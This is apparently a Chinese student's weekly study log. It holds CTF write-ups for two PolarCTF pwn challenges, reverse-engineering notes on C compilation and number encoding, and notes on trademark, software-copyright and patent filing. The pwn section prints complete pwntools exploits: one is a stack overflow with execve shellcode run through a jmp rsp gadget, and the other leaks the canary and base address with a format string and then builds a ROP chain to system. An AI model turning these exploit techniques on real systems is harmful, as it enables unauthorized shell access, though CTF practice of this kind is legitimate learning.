20250630-20250706
20250630-20250706
题目复现
题目附件:
【超级会员V5】通过百度网盘分享的文件:20250616-20250622
链接:https://pan.baidu.com/s/1Ji_ww_Nc6y559UgTazQZNA?pwd=padm
提取码:padm
(polarctf)bllbl_shellcode4
博客贴图有点费事,懒得弄了,只开了NX,栈上不可执行,函数逻辑就是read溢出,其实read溢出有些文章给出了很多细致且极限的利用方法,百度搜索“read fmt”就会有很多,不在此赘述(笔者也没学会)
本地有意思的点在于有一行
__asm { jmp rsp }
jmp 指令:jmp
是一种无条件跳转指令,它会使程序的执行流转移到指令中指定的地址。
指令含义:jmp rsp
的意思是程序将跳转到 rsp
当前指向的内存地址。这可能是经过某种计算后存储在栈上的返回地址,或是另一个函数的入口点。
那么流程就是:read栈溢出,控制到bss段写入一个shellcode,然后通过asm汇编指令跳转到栈顶执行该shellcode获得shell
然后本地exp如下:
#encoding=utf-8
#栈迁移、shellcode编写
#可本地复现
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# io = remote("1.95.36.136", 2119)
io = process("./bllbl_shellcode4")
elf = ELF("./bllbl_shellcode4")
bss_addr=0x04040C0
read_bss=0x401335
jmp_rsp_x15=0x00000000040136A
sh_addr=0x40203f
payload =b'a' *0x9 + p64(bss_addr)+ p64(read_bss)
# gdb.attach(io,"b * 0x0401330")
io.send(payload)#0x4040b7
shellcode = '''
nop;
nop;
nop;
nop;
mov al,0x3b;
mov esi,ebx;
mov edi,0x40203f;
mov edx,esi;
syscall;
'''
shellcode = asm(shellcode)
shellcode += p64(jmp_rsp_x15)
print("shellcode",hex(len(shellcode)))
io.send(shellcode)
io.interactive()
(polarctf)bllhl_pieeee
64位小端
保护:开满
程序逻辑:输入yes有个system调用,输入no进入input(),有gets溢出和格式化字符串漏洞,保护全开,所以泄露基址和canary,然后调用system然后写入/bin/sh
canary:
pwndbg> fm 0x7fff4aab6dc8
The index of format argument : 84 ("%83$p")
留意点:canary长8字节(16字符),地址长6字节(12字符)
exp:
#encoding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = remote("1.95.36.136", 2140)
# io = process("./bllhl_pieee")
elf = ELF("./bllhl_pieee")
# libc=ELF("./libc.so.6")
io.sendafter(b'yao shell?',b'no')
# gdb.attach(io)
io.sendline(b'%34$p-%31$p-%83$p')
io.recvuntil(b'0x')
base_addr = int(io.recv(12),16)
print(base_addr)
io.recvuntil(b'0x')
binsh_addr = int(io.recv(12),16) + 0x130
print(binsh_addr)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(canary)
pop_rdi_ret = base_addr + 0xc53
ret_addr = base_addr + 0x849
system_addr = base_addr + elf.plt['system']
payload = b'a'*(0x270 - 0x10) + b'/bin/sh\x00' + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) + b'/bin/sh\x00'
io.sendline(payload)
io.interactive()
学习笔记(逆向相关)
#include<stdio.h>
int main(){
int n = 999 ;
printf("Hello world! %p :%d\r\n",&n,n);
getchar();
return 0;
}
第一部分:常识
.obj文件:根据当前源代码编译成二进制目标文件
obj文件是可跨语言的(不能跨平台),但是这个文件不可运行
不可运行的原因:代码运行文件,要明白文件在哪里,数据在哪里,要和操作系统约定好数据和文件的位置
obj对应的文件格式:coff
exe对应的文件格式:PE
在程序运行中,不退出结束,构成动态观测条件(运行就行,菜单,或者getchar()接收输入)
然后去二进制编辑器(winhex),打开"Open RAM"的选项,可以查看进程
Primary Memory:主要内存
Entire Memory:全部进程内存
go to offest:跳转到该地址
输出的%p,输入的&n,可以输出n的地址,和winhex的地址相同
#include<stdio.h>引发的一系列知识
双引号找当前目录,当前目录没有,再找环境变量
尖括号只找环境变量
双引号和尖括号的潜台词:双引号因为寻找当前文件目录,所以表示这个代码的调用库是我自己写的,自定义的,不是官方的
尖括号是这个代码用的是官方的库
武汉薪资计算机开发:
本科毕业生:4000
懂得代码规范:6000(在实际项目中至少写5万行代码)规范以行为单位
新手想法:我把这部分代码写完了再规范(错误的)
正确做法:写一行,规范一行(以行为单位)
有检查意识:8000
cl编译命令:
cl /c Hello.c:只编译,不链接
cl /c /W1 hello.c:设置检查错误严谨程度为1的情况下编译软件 W:warning
cl /P hello.c :不编译,把预处理的结果展示出来看看
结果:生成.i文件,为说明性文件,不可编译
内容:会把
作用:用作编译错误审查
.c:有处理器行为的代码,命名为功能性代码
.h:只有声明,没有功能性的,命名为头文件
link链接命令:
int main()引发的一系列知识
VS的VC源码分析,分析初始化,格式化等库文件代码,了解程序运行原理:VC98/CRT\SRC\CRT0.C
建议使用VC6,低版本地址固定,高版本有地址随机,便于学习内存
有地址有值不够,还要有编码格式规定,存放类型规定
小端序为主
printf引发的一系列知识
1、格式化
2、输出到标准输出设备
printf的实现要具备:
格式化输出,支持%,数据流,正则等数据传入,还有编码较正等
了解计算机组成和硬件接口
Windows系统,驱动,显卡协议
3、返回值
C语言函数学习手册:MSDN
Windows内核:NT内核
MSDN
格式
1、目标函数与同类函数
2、简单描述
3、函数声明
4、头文件支持、支持的平台环境
5、支撑库
6、返回值
第二部分开始:随机数相关的讨论
“有没有真正的随机”
WannaCry在产生高精度随机数方面下了很大的功夫,但是在微软的加密库中就有,微软做的更好
wannacry还原的缺点:会在内存留下地址痕迹
WannaCry:一种“蠕虫式”的勒索病毒软件
7fffffff = 2147483647
接上节的printf,循环中不要有print,处理会很慢,因为print的实现步骤很多
编码约定
有符号位和无符号位在内存中的约定,即如何用二进制数据约定编码实现不同数据的实现
拓展:程序的加减乘除是如何实现的(除法很难)
减法是求补运算(补码相关)
例子:
85 - 23 = 62
85 + (100 - 23 )
85 + 77 = 162
进位丢失,之后,为62
所以减法为85 + neg(23)后进位丢失
数学对开发的作用
如果要还原现实的物理引擎,那么数学就要好,如果是用引擎开发的人,则只需要记住使用方法即可
前者薪资三五万,后者薪资平常
(个人思考)补码的存在
学习计算机组成原理的时候,老师只讲了有补码,补码的运算,但是没有很明确的阐述补码的作用,这点她做的并不好,至少做的没有宋老师好
首先明确为什么要补码?
因为硬件只能实现,加法和移位
所以补码是为了实现减法服务的,所以补码的各种规律,各种数学运用,都是
为了对数据进行操作
(个人思考)1byte = 8bit
这个是常识。我也知道是八位,但是不用总会忘记,那么在Winhex和010以及抓包的各种情况下,为什么都是00、ff这样两两出现的?
这就是一位,所以一起出现,明白了,清晰了,用过了,记牢了
浮点数编码
《深入理解计算机原理》
1、十进制转为二进制
2、科学计数法表示
3、S EEEEEEEE DDDDDDDDDDDDDDDDDDDDDDD
S:正负
E:科学计数法的指数+127
D:尾数1.XXXXXXXXXXXXXX中的XXXXXXXXXXXXXX
4、转成16进制,然后小尾排列
学习笔记(知识产权相关)
知识产权相关的流程
学习资料
商标:【商标注册完整流程(自己注册)2024年10月15号最新版】https://www.bilibili.com/video/BV1HTySYtEDE?vd_source=efb48d1bee4dd7fe44d054a141bb714b
软著:【软著申请教程,一学就会(2024版)】https://www.bilibili.com/video/BV1HT4y1W7tZ?vd_source=efb48d1bee4dd7fe44d054a141bb714b
专利
一、畅华【第一课 专利信息分析】https://www.bilibili.com/video/BV1rP4y1L7zr?vd_source=efb48d1bee4dd7fe44d054a141bb714b
二、专业代理师兵小二【初学者写专利常见的8个问题】https://www.bilibili.com/video/BV1aG411G71C?vd_source=efb48d1bee4dd7fe44d054a141bb714b
三、文姜工作室【手把手教会你怎么申请专利】https://www.bilibili.com/video/BV1Kt4y1275P?p=4&vd_source=efb48d1bee4dd7fe44d054a141bb714b
一、软件著作(软著)
第一步:查看官网文档,看看最近的政策变化
第二步:官网,注册(身份证正反面,持证照片(5MB以内,不要前置镜像,手指不要遮挡信息等))
第三步:软件申请
软件申请核心内容
一、软件申请信息:软件全称,软件简称,版本号,权利范围
二、软件开发信息:软件分类,软件说明,开发方式,开发完成时间,发表状态
三、软件功能与特点:开发的硬件环境,运行的硬件环境,开发该软件的操作系统,软件开发工具/开发环境,软件对的运行平台/操作系统,软件运行支撑环境/支持软件,编程语言,源程序量(行数),开发目的,面向领域/行业,软件的主要功能,软件的技术特点
四、程序鉴别材料
五、文档鉴别材料
二、商标
第一步:注册
申请人信息:公司名
地址:公司营业执照上的地址
主体资格证明文件:营业执照(副本复印,在空白处加盖清晰的公章(左上角),扫描成PDF格式并且不得大于两兆)
第二步:等到一两天后收到邮件,根据邮件下载证书驱动,获取证书以及PIN码
第三步:登录后按流程申请首页选择项:直接下一步
申请人信息:公司统一社会信用代码、国内申请人联系地址(公司地址)、
商标声明:本商标由中文“**”构成,商标无特殊含义。
共同申请:无
优先权信息:无
商标小项:【点击添加商品/服务项目】(参考同类型安全公司)
选中、然后点击【添加类型商品】
注意事项:一、凑够十个
二、一个大类别
三、小项业务符合
数据填写:商标图样
PS:
一、第二天出申请号
二、一个星期到两个星期左右付款
三、专利(简述)
首先:技术交底书
发明名称:主题,类型(产品还是方法),发明的用途,直接应用的领域(实用通用名称)
技术领域:直接所属的领域(不宜太过上位,避免写成本身,最好就是直属领域)
技术背景:介绍最为接近的现有技术,客观指出我们技术解决的对应问题
技术问题:结合技术背景的问题来详细写解决的对应的问题
技术方案:解决该问题使用的技术方案,详细写技术手段来描述技术方案,方法发明(流程以及流程中的各环节采用的技术手段)
技术效果:发明创造产生的有益效果、作用,有用性能的出现,与现有技术比较得出,实验数据+数据分析得来
附图及其说明:帮忙理解发明流程的创造,流程图结构图之类的
技术交底书的流程:明确发明点 -- 技术问题 -- 技术方案 -- 技术效果
最终目的:明确保护范围
交付给专利代理人,理解技术方案,使用严谨的法律语言,写出保护范围合理、清楚的权利要求书和内容完整的说明书
下周目标
适应节奏,慢慢学习